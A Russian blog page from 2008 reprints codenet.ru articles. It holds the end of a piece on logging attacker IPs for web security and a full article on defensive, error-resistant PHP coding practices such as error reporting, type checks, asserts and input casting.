В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но и менее известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером. Естественно - если прокси это позволяет.

При ведении лог-файлов, необходимо помнить, что доступ к ним должен быть только у Вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при помощи .htaccess (Deny from all).

Я буду очень признателен, если кто-нибудь из программистов поделится своими не описанными здесь методами обеспечения безопасности при разработке приложений для Web.

Автор: Илья Басалаев

Тсточник http://www.codenet.ru

Tags: php, SQL, безопасность

Добавить комментарий Март 16, 2008

Пишем PHP код, устойчивый к ошибкам

Предисловие

Ошибки - это бич любой программы. Чем больше проект, тем труднее исправлять и находить ошибки. Но наиболее важным в процессе работы с программой является квалификация программиста и его желание написать правильный и аккуратный код, содержащий минимальное количество ошибок.

В этой статье я постараюсь собрать техники и приемы, позволяющие минимизировать количество ошибок в программе, написанной на PHP. Но некоторые из представленных методов могут пригодится если вы пишите на любом языке программирования.
Знание - половина успеха
Узнаем, о чем сообщает PHP

В любом языке существует множество потенциально опасных ситуаций, которые чреваты неявными ошибками. При разборе транслятором исходного кода программы он может сообщать разработчику об этих ситуациях. Для этого надо лишь включить соответствующую опцию, которая очень часто по умолчанию выключена по некоторым соображениям.

В PHP контроль вывода сообщений транслятора определяется функцией error_reporting и значением директивы error_reporting в php.ini. Рекомендуемое её значение E_ALL - т.е. выводить сообщения о всех потенциально опасных ситуациях. К ним в PHP относятся, например, использование неинициализированной переменной, обращение к несуществующему элементу массива и т.д.

Для включения максимально подробного вывода сообщений транслятора поставьте в начале программы вызов функции error_reporting:
// Для PHP4
error_reporting(E_ALL);

или поставьте значение error_reporting = E_ALL в php.ini.

С более подробном описании возможных уровней reporting можно знакомится в PHP документации - Error Handling and Logging Functions.

Для PHP5 введен уровень E_STRICT, который включает вывод сообщений о использовании в коде устаревших методов программирования (например, используется var для описания внутренних переменных класса). Он не входит в E_ALL, поэтому для PHP5 рекомендуемый уровень сообщений E_ALL | E_STRICT (т.е. E_ALL и E_STRICT). Соответственно, для задания вывода всех сообщений от транслятора надо вызвать error_reporting с таким параметром:
// Для PHP5
error_reporting(E_ALL | E_STRICT);
Если ни о чем не сообщает

Если Вы установили вывод ошибок и ошибки по не выводятся, то возможно вывод ошибок в script output отключен. Проверьте значение опции ini файла display_errors (она включает вывод ошибок непосрественно в script output) и, если она выключена, включите её.
// проверяет значение опции display_errors
if (ini_get(’display_errors’) != 1) {
// включает вывод ошибок вместе с результатом работы скрипта
ini_set(’display_errors’, 1);
}
Если вдруг сообщит

Крайне редко удается протестировать программу полностью до выпуска и в то-же время лучше не показывать пользователю сообщения об ошибках ибо его реакция на них непредсказуема. Лучше перенаправлять ошибки транслятора, которые произошли непосредственно во время работы программы, в log файл ошибок. Включить это перенаправление можно опцией log_errors в файле php.ini.

Полезно также поставить свой обработчик ошибок, если Вы хотите не только заносить ошибки в Log файл но и добавить некоторую дополнительную логику их обработки. Например, отправить письмо при сообщении транслятора или вывести некоторое специальное сообщение для пользователя. Подробнее об этом написано в статье Ловля ошибок в PHP, которую написал Антон Довгаль.
Сравниваем константу с переменной, а не наоборот

Сколько раз Вам приходилось выяснять, что ошибка в программе связанна с использованием оператора “=” вместо “==”? Что бы приходилось реже, используйте сравнения вида
if (10 == $i) {
// что-то делаем
}

В случае использования “=” вместо “==” транслятор выдаст ошибку “Parse error: parse error in … on line …”. Таким образом ошибка обнаруживается значительно быстрее.
Не используем значение дважды

Конечно, это преувеличение. Но если в программе возникает необходимость использовать значение несколько раз, можно порекомендовать объявить константу и использовать её вместо значения.

Для PHP4 существует единственный способ объявить константу - использовать функцию define.

Например:
define (’BEFORE_RENDER’, ‘beforeRender’);

Констант в классах объявлять нельзя.

Расширение PHP 5 для определения констант сходно с тем, которое было осуществлено при расширении от C до C++ - используется ключевое слово const. Но константы таким образом можно создавать только внутри классов.

Например:
class ControlEvents {
const BEFORE_RENDER = ‘beforeRender’;
}
print ControlEvents::BEFORE_RENDER;

Но для обращения к такой константе необходимо знать имя класса.

Константы могут быть также добавлены непосредственно в класс. Но PHP не поддерживает такой метод. Поэтому придется объявить их как обычные переменные:
class Control {

var $BEFORE_RENDER = ‘beforeRender’;
function render() {
$eventFunction = $this->BEFORE_RENDER;
$this->$eventFunction();
}
}
Проверка параметров функции

В PHP параметром в функцию можно передать любую переменную. Но вот алгоритму функции может быть вовсе не все равно, что за переменную ему передали. Поэтому в начале функции полезно проверять её входные параметры на необходимый тип и диапазон значений.

Для проверки типа используются следующие функции:
gettype(Mixed $var) - возвращает тип переменной.
Наиболее часто используемые типы: “boolean”, “integer”, “double”, “string”, “array”, “object”, “resource”, “NULL”.
Функции проверки на тип: is_bool(Mixed $var), is_integer(Mixed $var), is_double(Mixed $var), is_string(Mixed $var), is_array(Mixed $var), is_object(Mixed $var), is_resource(Mixed $var) - возвращают true или false.
Для определения класса объекта используются функции:
get_class(Object $obj) - возвращает имя класса, экземпляром которого является obj.
is_a(Object $obj, String $class) - проверяет, является ли obj экземпляром сласса class или класса, унаследованного от class.

Для PHP4 не существует автоматического способа проверки параметров функции. Все необходимые проверки необходимо делать самостоятельно.

Код функции, осуществляющей проверку аргументов, может быть примерно такой:
/**
* Функция showControl принимает один параметр $control,
* этот параметр должен являться классом и являться
* экземпляром класса HTMLControl либо классом,
* унаследованным от HTMLControl.
*/
function showControl(&$control) {
is_a($control, ‘HTMLControl’) or $control == null or exit(’Type missmatch.’);

}

Достоинство этого метода состоит в том, что можно управлять сообщениями об ошибках и использовать собственный обработчик ошибок. Например, Вы можете использовать следующие функции для проверки параметров:
function checkParameter(&$var, $class) {
if (!is_a($var, $class) && $var != null)
SFExit(’Type missmatch.’);
}

function SFExit(&$message) {
print $message . ‘<br>’;
$backtrace = debug_backtrace();
for($i = 0; $i < count($backtrace); $i++) {
print $i . ‘: ‘ . $backtrace[$i][’file’] . ‘(’ .
$backtrace[$i][’line’] . ‘)<br>’;
}
exit();
}

Примечание: Функция debug_backtrace введена только в PHP 4.3.0.

Пример их применения:
function showControl(&$control) {
checkParameter($control, ‘HTMLControl’);

}

Для PHP5 некоторые проверки типов параметров можно задать непосредственно в описании функции. Предыдущий пример на PHP5 будет выглядеть следующим образом:
function showControl(HTMLControl $control) {

}
Asserts

Во время создания и отладки программы можно использовать встроенный механизм добавления проверок в код программы. Он называется asserts (или assert-проверки). Идея его состоит в том, что в код программы добавляются специальные проверочные конструкции, которые можно отключить для production сайта, но в любой момент включить при разработке.

Следующие фрагменты кода примерно аналогичны:
/* Использование Asserts */
assert_options (ASSERT_ACTIVE, 1);

function showControl(&$control) {
assert(’is_a($var, \’HTMLControl\’) || $var == null’);

}
/* Использование if конструкций */
define(’ASSERT_ACTIVE’, 1);
function showControl(&$control) {
if (ASSERT_ACTIVE && !(is_a($var, ‘HTMLControl’) || $var == null’))
trigger_error(’Assertion failed’, E_USER_ERROR);

}

С помощью таких проверок также можно проверять параметры функций, возвращаемые функциями значения и т.д. Нужно лишь учесть, что assert-проверки не должны быть включены в реально действующем сайте - если программа нормально работает и проходит все проверки, то их можно отключить.
Проверять значения параметров скрипта $_REQUEST, $_GET, $_POST, $_COOKIES

PHP скрипт можно рассматривать как большую функцию, которая вызывается с неопределенным списком string параметров. Если предполагается, что некоторые параметры будут использоваться в некоторых вычислениях, или отправляться в базу данных, то их обязательно надо преобразовывать к требуемому типу и использовать только после явного приведения!

Все массивы REQUEST являются является обычными массивами, поэтому значения в них могут быть переопределены непосредственно.

Например:
if (isset($_GET[’id’]))
$_GET[’id’] = (int)$_GET[’id’];
else
$_GET[’id’] = null;
Разделяй и властвуй

Известный со времен древнего Рима принцип “Разделяй и властвуй” вполне может пригодится при разработке программ на любом языке программирования. В том числе и на PHP. Для реализации этого принципа разделяйте программу на логические блоки. Для этого можно воспользоваться следующими методами:

Использование функций.
Выносите структурные части алгоритма в функции. Проверяйте каждую часть отдельно и затем работу всего алгоритма в целом.

Использование классов.
Организуйте программный код в виде объектов, взаимодействующих друг с другом. Выделяйте сущности и оформляйте их в виде объектов. Внимательно рассматривайте, как они взаимодействуют друг с другом. Используйте, где это разумно, лучшие шаблоны проектирования (design patterns).

Разделяйте логику и HTML.
Для этого существует множество способов: темплейтные библиотеки, XML, XML/XSL. Подберите для себя наилучший и используйте.

Разделяйте логику самого приложения при помощи enterprise design patterns.
Используйте разделение приложения на уровни (layering) и другие технологии, позволяющие структурно разделить проект на крупные блоки.
Заключение

Возможно, кому-то материал статьи покажется сбором прописных истин. Но я думаю, что большинству он все-таки пригодится, а для начинающих программистов последний раздел “Разделяй и властвуй” может оказаться особенно полезным, поскольку задает направление изучения программирования.

Если у Вас есть комментарии или собственные приемы работы, которые не упомянуты в этой статье, я буду рад услышать и обсудить их с Вами.

Также хочу выразить признательность участникам клуба phpclub.ru за помощь в написании статьи.

Источник http://www.codenet.ru

Tags: error, php, PHP5, xml

Добавить комментарий Март 15, 2008

Старые записи


Календарь

Март 2008
Пн Вт Ср Чт Пт Сб Вс
« Фев   Апр »
 12
3456789
10111213141516
17181920212223
24252627282930
31  

Записи по месяцам

Записи по рубрикам

Бегун